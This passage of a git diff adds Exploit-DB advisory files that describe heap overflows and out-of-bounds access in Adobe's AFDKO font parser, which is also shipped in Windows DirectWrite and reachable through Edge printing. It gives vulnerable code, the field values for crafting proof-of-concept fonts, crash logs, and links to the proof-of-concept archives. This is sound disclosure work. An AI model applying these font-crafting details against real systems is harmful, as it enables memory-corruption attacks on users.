569 origin = table->offset;
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==236657==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a00000b228 at pc 0x0000005563be bp 0x7ffe3c238d10 sp 0x7ffe3c238d08
|
||||
WRITE of size 2 at 0x62a00000b228 thread T0
|
||||
#0 0x5563bd in addID afdko/c/public/lib/source/cffread/cffread.c:1843:19
|
||||
#1 0x53f71c in readCharset afdko/c/public/lib/source/cffread/cffread.c:2187:29
|
||||
#2 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9
|
||||
#3 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#4 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#5 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#6 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#7 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#8 0x7f7bf34352b0 in __libc_start_main
|
||||
#9 0x41e5b9 in _start
|
||||
|
||||
0x62a00000b228 is located 40 bytes to the right of 20480-byte region [0x62a000006200,0x62a00000b200)
|
||||
allocated by thread T0 here:
|
||||
#0 0x4c63f3 in __interceptor_malloc
|
||||
#1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
|
||||
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
|
||||
#3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
|
||||
#4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
|
||||
#5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5
|
||||
#6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9
|
||||
#7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#12 0x7f7bf34352b0 in __libc_start_main
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:1843:19 in addID
|
||||
Shadow bytes around the buggy address:
|
||||
0x0c547fff95f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c547fff9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c547fff9610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c547fff9620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c547fff9630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x0c547fff9640: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==236657==ABORTING
|
||||
--- cut ---
|
||||
|
||||
A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x0000000000417d1e in addID (h=0x7103a0, gid=2293, id=18997) at ../../../../../source/cffread/cffread.c:1843
|
||||
1843 info->cid = id;
|
||||
(gdb) print info
|
||||
$1 = (abfGlyphInfo *) 0x743000
|
||||
(gdb) print &h->glyphs.array[gid]
|
||||
$2 = (abfGlyphInfo *) 0x743000
|
||||
(gdb) print gid
|
||||
$3 = 2293
|
||||
(gdb) x/10gx 0x743000
|
||||
0x743000: Cannot access memory at address 0x743000
|
||||
(gdb) bt
|
||||
#0 0x0000000000417d1e in addID (h=0x7103a0, gid=2293, id=18997) at ../../../../../source/cffread/cffread.c:1843
|
||||
#1 0x0000000000412a57 in readCharset (h=0x7103a0) at ../../../../../source/cffread/cffread.c:2187
|
||||
#2 0x000000000040dd64 in cfrBegFont (h=0x7103a0, flags=4, origin=0, ttcIndex=0, top=0x6f6048, UDV=0x0) at ../../../../../source/cffread/cffread.c:2789
|
||||
#3 0x0000000000405e4e in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
|
||||
#4 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf4c "poc.otf") at ../../../../source/tx.c:429
|
||||
#5 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf4c "poc.otf")
|
||||
at ../../../../source/tx.c:488
|
||||
#6 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:558
|
||||
#7 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:1631
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
A similar Microsoft Edge renderer process crash is also shown below:
|
||||
|
||||
--- cut ---
|
||||
(4d58.50bc): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!addID+0x33:
|
||||
00007ffb`29e6864b 66895cfe28 mov word ptr [rsi+rdi*8+28h],bx ds:000001ea`f5fee000=????
|
||||
|
||||
0:038> ? rsi
|
||||
Evaluate expression: 2108661076032 = 000001ea`f5fe9040
|
||||
0:038> ? rdi
|
||||
Evaluate expression: 2547 = 00000000`000009f3
|
||||
0:038> db rsi+rdi*8+28
|
||||
000001ea`f5fee000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001ea`f5fee010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001ea`f5fee020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001ea`f5fee030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001ea`f5fee040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001ea`f5fee050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001ea`f5fee060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001ea`f5fee070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
|
||||
0:038> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 00000047`0fcfae10 00007ffb`29e6a262 DWrite!addID+0x33
|
||||
01 00000047`0fcfae40 00007ffb`29e6de84 DWrite!readCharset+0x10a
|
||||
02 00000047`0fcfae70 00007ffb`29e621e7 DWrite!cfrBegFont+0x5d8
|
||||
03 00000047`0fcfb700 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f
|
||||
04 00000047`0fcfbc00 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
05 00000047`0fcfbde0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
06 00000047`0fcfc000 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
07 00000047`0fcfc360 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
08 00000047`0fcfc3f0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
09 00000047`0fcfc510 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
0a 00000047`0fcfc560 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44
|
||||
0b 00000047`0fcfc5b0 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
0c 00000047`0fcfc5e0 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
0d 00000047`0fcfc610 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
0e 00000047`0fcfc650 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47095.zip
|
181
exploits/windows/dos/47096.txt
Normal file
181
exploits/windows/dos/47096.txt
Normal file
|
@ -0,0 +1,181 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
|
||||
|
||||
In this specific case, it might be difficult to reach the vulnerability described here through DirectWrite, because DWrite would first have to accept and correctly load a font collection with a malformed directory count. During our brief testing, we were unable to achieve this. On the other hand, the Windows library still contains the readTTCDirectory() function together with the vulnerable code, so in case the code can be reached in a way we haven't considered, we have opted to report the bug despite its apparent unreachability at this time.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The bug resides in the loading of font collections, i.e. files with the "ttcf" header. Specifically, the problem is found in the readTTCDirectory() function in source/sfntread/sfntread.c:
|
||||
|
||||
--- cut ---
|
||||
184 h->TTC.DirectoryCount = read4(h);
|
||||
185 h->TTC.TableDirectory = (long *)memResize(h, h->TTC.TableDirectory,
|
||||
186 h->TTC.DirectoryCount * sizeof(long *));
|
||||
187 h->flags |= TTC_STM; /* readSfntDirectory( reads in to h->TTC.TableDirectory[i].directory if TTC_STM is set.*/
|
||||
188
|
||||
189 for (i = 0; i < h->TTC.DirectoryCount; i++) {
|
||||
190 h->TTC.TableDirectory[i] = read4(h) + origin;
|
||||
191 }
|
||||
--- cut ---
|
||||
|
||||
The DirectoryCount field of type "long" is (almost - depending on the platform) fully controlled by the input file, as initialized in line 184. Then, it is used to calculate the size of a dynamically allocated buffer in line 186. On 32-bit platforms, if the value is equal or larger than 0x40000000, the multiplication will overflow the integer range, resulting in allocating a buffer too small to store the data later written to it by the loop in lines 189-191. This behavior may subsequently lead to heap-based memory corruption.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file triggers the bug by declaring DirectoryCount as 0x40000001, which results in the allocation of a 4-byte buffer. Since more than one 4-byte offset is loaded from the font, a heap-based buffer overflow takes place in line 190 during the second iteration of the loop.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A crash log from a 32-bit "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==25409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255953 bp 0xffb10ff8 sp 0xffb10ff0
|
||||
WRITE of size 4 at 0xf50006f4 thread T0
|
||||
#0 0x8255952 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:190:34
|
||||
#1 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13
|
||||
#2 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14
|
||||
#3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
|
||||
#4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
|
||||
#5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#7 0x814263f in main afdko/c/tx/source/tx.c:1631:9
|
||||
#8 0xf7b95275 in __libc_start_main
|
||||
#9 0x806a590 in _start
|
||||
|
||||
0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4)
|
||||
allocated by thread T0 here:
|
||||
#0 0x810ddc5 in __interceptor_malloc
|
||||
#1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
|
||||
#2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18
|
||||
#3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37
|
||||
#4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13
|
||||
#5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14
|
||||
#6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
|
||||
#7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
|
||||
#8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#10 0x814263f in main afdko/c/tx/source/tx.c:1631:9
|
||||
#11 0xf7b95275 in __libc_start_main
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:190:34 in readTTCDirectory
|
||||
Shadow bytes around the buggy address:
|
||||
0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
=>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa
|
||||
0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
|
||||
0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa
|
||||
0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==25409==ABORTING
|
||||
--- cut ---
|
||||
|
||||
A slightly different crash is generated if we set DirectoryCount to a negative value (e.g. 0x80000000), which skips the loop in lines 189-191 and crashes a bit further down the line:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==26803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255d1d bp 0xffee0908 sp 0xffee0900
|
||||
READ of size 4 at 0xf50006f4 thread T0
|
||||
#0 0x8255d1c in sfrGetNextTTCOffset afdko/c/public/lib/source/sfntread/sfntread.c:256:12
|
||||
#1 0x835f5dc in addTTC afdko/c/public/lib/source/tx_shared/tx_shared.c:5082:31
|
||||
#2 0x83556d8 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5144:21
|
||||
#3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
|
||||
#4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
|
||||
#5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#7 0x814263f in main afdko/c/tx/source/tx.c:1631:9
|
||||
#8 0xf7b0f275 in __libc_start_main
|
||||
#9 0x806a590 in _start
|
||||
|
||||
0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4)
|
||||
allocated by thread T0 here:
|
||||
#0 0x810ddc5 in __interceptor_malloc
|
||||
#1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
|
||||
#2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18
|
||||
#3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37
|
||||
#4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13
|
||||
#5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14
|
||||
#6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
|
||||
#7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
|
||||
#8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#10 0x814263f in main afdko/c/tx/source/tx.c:1631:9
|
||||
#11 0xf7b0f275 in __libc_start_main
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:256:12 in sfrGetNextTTCOffset
|
||||
Shadow bytes around the buggy address:
|
||||
0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
=>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa
|
||||
0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
|
||||
0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa
|
||||
0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==26803==ABORTING
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47096.zip
|
272
exploits/windows/dos/47097.txt
Normal file
272
exploits/windows/dos/47097.txt
Normal file
|
@ -0,0 +1,272 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below:
|
||||
|
||||
--- cut ---
|
||||
2347 switch (read1(h)) {
|
||||
2348 case 0:
|
||||
2349 for (gid = 0; gid < h->glyphs.cnt; gid++)
|
||||
2350 h->glyphs.array[gid].iFD = read1(h);
|
||||
2351 break;
|
||||
2352 case 3: {
|
||||
2353 int nRanges = read2(h);
|
||||
2354
|
||||
2355 gid = read2(h);
|
||||
2356 while (nRanges--) {
|
||||
2357 int fd = read1(h);
|
||||
2358 long next = read2(h);
|
||||
2359
|
||||
2360 while (gid < next)
|
||||
2361 h->glyphs.array[gid++].iFD = (unsigned char)fd;
|
||||
2362 }
|
||||
2363 } break;
|
||||
--- cut ---
|
||||
|
||||
The "iFD" field is an unsigned char, as defined in afdko/c/public/lib/api/absfont.h:
|
||||
|
||||
--- cut ---
|
||||
393 unsigned char iFD; /* CID-keyed: FD index */
|
||||
--- cut ---
|
||||
|
||||
As shown above, it is initialized directly from the input stream and so the font file has complete control over it. There are no bounds checks to verify if the value is consistent with other structures in the font.
|
||||
|
||||
The field is used to store an index into the h->fdicts array, whose size is determined by the length of the FDArray index, see readFDArray():
|
||||
|
||||
--- cut ---
|
||||
1698 readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray);
|
||||
1699 if (h->index.FDArray.count > 256)
|
||||
1700 fatal(h, cfrErrBadFDArray);
|
||||
1701
|
||||
1702 /* Read FDArray */
|
||||
1703 dnaSET_CNT(h->FDArray, h->index.FDArray.count);
|
||||
1704 dnaSET_CNT(h->fdicts, h->index.FDArray.count);
|
||||
--- cut ---
|
||||
|
||||
If any of the iFD fields are set to a value exceeding the lengths of the h->FDArray / h->fdicts arrays, the library may access invalid memory in the following locations in code:
|
||||
|
||||
--- cut ---
|
||||
2796 if (h->fdicts.array[info->iFD].Private.LanguageGroup == 1)
|
||||
2797 info->flags |= ABF_GLYPH_LANG_1;
|
||||
[...]
|
||||
2887 t2cAuxData *aux = &h->FDArray.array[info->iFD].aux;
|
||||
--- cut ---
|
||||
|
||||
The second instance is especially dangerous in the context of memory safety, as the "aux" pointer fetched from an invalid memory location (potentially attacker-controlled) is later extensively used during the Type 2 CharString execution for reading and writing.
|
||||
|
||||
As a side note, we believe that the FDArray / fdicts arrays should consist of at least one element for every CID-keyed font, so we would suggest adding an additional check for "h->index.FDArray.count < 1" in the if statement shown below:
|
||||
|
||||
--- cut ---
|
||||
1698 readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray);
|
||||
1699 if (h->index.FDArray.count > 256)
|
||||
1700 fatal(h, cfrErrBadFDArray);
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file contains a one-element FDArray. It also sets the iFD index of all glyphs to 1, which triggers a slightly out-of-bounds (off by one) access to h->fdicts.array[1] that is easily detected by AddressSanitizer. In non-ASAN builds, the code crashes later on when trying to access an invalid h->FDArray.array[1].aux pointer.
|
||||
|
||||
The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified iFD was inserted at the end of the font with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==199139==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62f00000d808 at pc 0x000000529c2c bp 0x7ffd5db0b270 sp 0x7ffd5db0b268
|
||||
READ of size 8 at 0x62f00000d808 thread T0
|
||||
#0 0x529c2b in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2796:56
|
||||
#1 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#2 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#3 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#4 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#5 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#6 0x7f10333f82b0 in __libc_start_main
|
||||
#7 0x41e5b9 in _start
|
||||
|
||||
0x62f00000d808 is located 2440 bytes to the right of 51840-byte region [0x62f000000400,0x62f00000ce80)
|
||||
allocated by thread T0 here:
|
